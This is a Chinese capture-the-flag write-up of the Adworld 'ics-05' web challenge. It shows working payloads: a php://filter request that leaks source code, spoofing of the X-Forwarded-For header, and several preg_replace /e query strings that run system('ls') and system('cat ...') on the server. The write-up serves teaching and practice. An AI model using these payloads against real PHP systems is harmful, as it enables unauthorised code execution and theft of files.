zoukankan      html  css  js  c++  java
  • CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞)

    文件包含

    根据题目描述“其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”,打开设备维护中心后查看 F12。

    看到超链接中有 “?page” 这个 GET 方法传递的参数,考虑在这个参数使用 PHP 伪协议中的 “php://filter” 读取 index 的源码。

    ?page=php://filter/read=convert.base64-encode/resource=index.php
    

    利用 payload 成功读取到了 index.php 的 base64 加密形式,把它转换回我们能看得懂的。

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    	echo "<br >Welcome My Admin ! <br >";
    	$pattern = $_GET[pat];
    	$replacement = $_GET[rep];
    	$subject = $_GET[sub];
    	if (isset($pattern) && isset($replacement) && isset($subject)) {
    		preg_replace($pattern, $replacement, $subject);
    	} else {
    		die();
    	}
    }
    

    响应头伪造

    观察到 index.php 被执行的条件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是说这个请求必须是本地的请求,修改 HTTP 响应头 X_FORWARDED_FOR 的值为 “127.0.0.1”。

    preg_replace() 函数

    这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 preg_replace()函数。
    preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:

    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    
    参数 说明
    $pattern 要搜索的模式,可以是字符串或一个字符串数组
    $replacement 用于替换的字符串或字符串数组
    $subject: 要搜索替换的目标字符串或字符串数组
    $limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制)
    $count 可选,为替换执行的次数

    如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
    这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

    获取 flag

    也就是说只要在 sub 参数中有要搜索的 pat 的内容,同时将在 rep 前加上 “/e” 触发漏洞,就可以执行 replacement 中的 PHP 代码。sub 和 pat 的参数构造只要满足前面的条件就行,rep 参数则设置为 “system('ls')”,这句代码用于命令行执行 ls 命令获取目录下的所有文件。

    ?pat=/abc/e&rep=system('ls')&sub=abc
    


    执行成功,发现目录下的 s3chahahaDir 文件夹的名字很可疑,再次执行 ls 命令在该文件中查看内容。

    ?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc
    


    执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容。

    ?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc
    


    执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag。

    ?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc
    

  • 相关阅读:
    python 查看安装包列表
    Centos7 linux下通过源码安装redis以及使用
    python 安装pip
    python3.7.2 pip 出现locations that require TLS/SSL异常处理方法
    Xshell报错“The remote SSH server rejected X11 forwarding request.”
    ERROR: child process failed, exited with error number 100
    centos7 (ifconfig不能使用) -bash: ifconfig: command not found
    gzip: stdin: not in gzip format tar: Child returned status 1 tar: Error is not recoverable: exiting now
    Centos7 安装python3.7.2
    Python安装常见问题:zipimport.ZipImportError: can't decompress data; zlib not available 解决办法
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13625741.html
Copyright © 2011-2022 走看看